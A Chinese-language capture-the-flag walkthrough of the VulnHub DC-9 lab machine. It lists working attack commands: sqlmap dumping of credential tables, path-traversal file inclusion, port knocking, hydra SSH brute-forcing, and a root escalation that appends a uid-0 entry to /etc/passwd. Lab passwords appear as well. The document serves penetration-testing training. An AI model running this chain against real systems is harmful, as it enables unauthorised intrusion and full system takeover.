靶机10 DC-9(过程超详细)

靶机10 DC-9(过程超详细)DC 靶场一共有 9 个 对于学习渗透测试人员 有很大的帮助 是非常不错的靶场

简介:DC靶场一共有9个,对于学习渗透测试人员,有很大的帮助,是非常不错的靶场。

1、下载靶场

靶机名称:DC-9(包含1个flag)

下载地址:

DC: 8 ~ VulnHub

2、安装靶场

以DC-1为例,将文件解压(一压缩包形式进行下载)。

打开虚拟机,选择解压好的文件导入虚拟机( vof 版本高于4.0,重试即可导入)

导入成功,开启此虚拟机( 当页面出现 DC-9 login 时表示安装成功)。

3、获取靶机的flag

前提:

1、已知kali的IP地址(ifconfig)

—— kali IP地址:192.168.108.129/24

2、DC-9和kali在同一网段 | 已知DC-9所在的网段

—— DC-9 IP地址:192.168.108.141/24

3.1信息收集

获取DC-9的IP地址

命令:netdiscover -r 192.168.108.0/24

由图可知DC-9的IP地址是:192.168.108.142/24

端口扫描

命令:nmap -T5 -sV -p- -A 192.168.108.142

//-sV:探测打开的端口以确定服务/版本信息,-p-:全端口扫描,-O:启用操作系统检测

//-sS/sT/sA/sW/sM:TCP SYN/Connect()/ACK/Window/Maimon 扫描

//-T[0-5]:设置时间模板(越高越快),-A:启用操作系统检测和版本检测

获取信息如下(操作系统:Linux 3.2-4.9):

端口号

服务

版本

22

ssh

7.4p1

80

http

Apche 2.4.38

操作系统:Linux 3.2 - 4.9

3.2    渗透测试

查看80端口,目录扫描

80端口,是一个这样的页面,其中还有4个选项,依次点开以后并没有什么发现,但是它存在一个表单,在这里就很有可能存在着注入漏洞,所以我们先尝试着用sqlmap跑一下:

目录扫描

dirb http://dc-9

这里没什么发现,回到前面的web网页,可以从那四个页面入手

可以看到是一个搜索的页面和一个登录的页面,直接burp抓包使用sqlmap尝试有没有sql注入的漏洞

http://192.168.108.142/search.php

http://192.168.108.142/manage.php

sqlmap -r dc9-search.txt

sqlmap -r dc9-search.txt --current-db

sqlmap -r dc9-search.txt --tables -D "Staff"

sqlmap -r dc9-search.txt --columns -T "Users" -D "Staff"

sqlmap -r dc9-search.txt --dump -C "UserID,Username,Password" -T "Users" -D "Staff"

所以在这里我们直接获取到了一个用户数据(admin、856f5de590ef37314e7c3bdf6f8a66dc)

尝试md5解密(https://www.somd5.com/),得到admin的密码(transorbital1)

尝试直接ssh登录和web登录(admin、transorbital1)

登录之后发现可以添加用户,而且最底下一直有文件不存在的提示,尝试是否存在文件包含的漏洞

http://192.168.108.142/manage.php?file=../../../../etc/passwd (?file=../../../../etc/passwd)

结果发现可以读到passwd文件

这里发现了很多的账号,然后回去到数据库sql注入里面查看有没有线索

sqlmap -r dc9-search.txt --dbs

sqlmap -r dc9-search.txt --tables -D "users"

sqlmap -r dc9-search.txt --columns -T "UserDetails" -D "users"

sqlmap -r dc9-search.txt --dump -C "username,password" -T "UserDetails" -D "users"

将用户名和密码数据分别存储两个文件里(充当暴力激活成功教程的字典),后续八成是需要ssh爆破连接的

但是这里 ssh 的22端口状态是filtered 的,猜想是被服务器装了 knockd 工具隐藏了。查找 knockd(保证指定端口)的配置文件(/etc/knockd.conf)

补充

knockd

目的:使用 knockd 保护指定端口

作用:使用者连线前必须先依序 '敲击' 指定端口 (port knocking), knockd 才开放受到保护的埠口

用法:配置文件路径 /etc/knockd.conf

http://192.168.108.142/manage.php?file=../../../../etc/knockd.conf

按照要求的顺序敲击端口

        nc 192.168.108.142 7469

        nc 192.168.108.142 8475

        nc 192.168.108.142 9842

可以看到使用 openSSH 的敲门顺序之后可以正常进行ssh连接了

使用前面制作的字典对ssh进行爆破

hydra -L username -P password ssh://192.168.108.142

得到了三个账号密码:

账号:

密码:

1、chandlerb

UrAG0D!

2、joeyt

Passw0rd

3、janitor

Ilovepeepee

分别登陆进行查看

  1. ssh chandlerb@192.168.108.142(UrAG0D!)
  2. ssh joeyt@192.168.108.142(Passw0rd)
  3. ssh janitor@192.168.108.142(Ilovepeepee)
  • cd /home/用户名(进入该用户名的家目录)
  • ls -al(查看隐藏文件)

将获取到的密码加入到之前的密码本(password)中并重新爆破

hydra -L /root/Desktop/username -P /root/Desktop/password ssh://192.168.108.142

这里又跑出来了一组账号密码(fredf、B4-Tru3-001)

ssh fredf@192.168.108.142(B4-Tru3-001)

sudo -l(查看有没有可以进行sudo提权的地方)

代码审计

        判断是否有三个参数,没有的话输出Usage: python test.py read append,然后停止执行

        第二个参数是读取第二个参数文件中的内容

        第三个参数是把读取的内容写到第三个参数文件中(a是追加)

简单来说就是需要传递三个参数,传递的2个参数(第一个参数是 ./test)应该都是文件名,操作就是把第二个文件的内容以追加方式写进第三个文件里。那我们可用构造一个含有root权限数据的文件,通过 test.py 写入到 /etc/passwd 文件中,从而成功提权

原理: /etc/passwd 文件中含有的用户会去 /etc/shadow 文件中校验,如果 /etc/shadow 文件中没有则会无密码直接su切换用户

这里有个注意的地方,写入的时候必须是单引号,也就是echo '......',不能是echo ".....",双引号会导致最后失败

        echo 'NB:$1$NB$Q77eUcGSxvhAhfrqYXDxg.:0:0:root:/bin/bash' > /tmp/NB

直接进行提权

原理:核心思路就是利用其在passwd文件中追加一条uid为0(root uit=0的用户条目

使用:

        首先我们造一个符合该格式的用户,一般/tmp目录可写,写到/tmp目录下

                openssl passwd -1 -salt NB

                echo 'NB:$1$NB$Q77eUcGSxvhAhfrqYXDxg.:0:0:root:/bin/bash' > /tmp/NB

                sudo 执行py脚本,将生成的账户条目写入 /etc/passwd 文件中

                sudo ./test /tmp/NB /etc/passwd

                tac /etc/passwd

解释:

  1. 按照linux用户机制,如果没有shadow条目,且passwd用户密码条目有密码的时候,可以本地su 使用passwd里面的密码登录。由于这个用户的uid为0,所以也是root权限
  2. passwd文件每一行的格式如下:
    • 用户名:密码(hash):uid:gid:说明:家目录:登陆后使用的shell
    • NB:$1$NB$Q77eUcGSxvhAhfrqYXDxg.::0:0:root:/bin/bash
  3. 生成密码并将账号条目写入/etc/passwd文件中

su -NB

可以看到在执行完指令之后直接变为了root(超户),提权成功

补充:

引言:在Linux系统中我们要向手动生成一个密码可以采用opensll passwd来生成一个密码作为用户账号的密码。Linux系统中的密码存放在/etc/shadow文件中,并且是以加密的方式存放的,根据加密方式的不同,所产生的加密后的密码的位数也不同。

作用:openssl passwd的作用是用来计算密码hash的,目的是为了防止密码以明文的形式出现。

语法格式: openssl passwd [option] passwd

openssl passwd常用的选项如下:

        -1:表示采用的是MD5加密算法。

        -salt:指定salt值,不使用随机产生的salt。在使用加密算法进行加密时,即使密码一样,salt不一样,所计算出来的hash值也不一样,除非密码一样,salt值也一样,计算出来的hash值才一样。salt为8字节的字符串。

示例:[tom@localhost ~]$ openssl passwd -1 -salt ''  注意‘’不是密码而是密码的长度

理解:

  1. NB:::0:0:root:/bin/bash 写入 /etc/passwd 文件中,由于 /etc/passwd 文件中含有的用户会去 /etc/shadow 文件中校验,如果 /etc/shadow 文件中没有则会无密码直接su切换用户
  2. 计算密码( openssl passwd -1 -salt NB ):$1$NB$Q77eUcGSxvhAhfrqYXDxg.

将 NB:$1$NB$Q77eUcGSxvhAhfrqYXDxg.::0:0:root:/bin/bash 写入 /etc/passwd 文件中,由于 /etc/passwd 文件中含有的用户会去 /etc/shadow 文件中校验,如果 /etc/shadow 文件中没有则会只判断/etc/passwd 文件中的密码然后进行su切换用户

下方名片,加入GG安全团队,期待师傅们的加入,一起学习一起成长。

今天的文章 靶机10 DC-9(过程超详细)分享到此就结束了,感谢您的阅读。
编程小号
上一篇 2024-12-05 18:17
下一篇 2024-12-05 18:11

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/bian-cheng-ji-chu/78558.html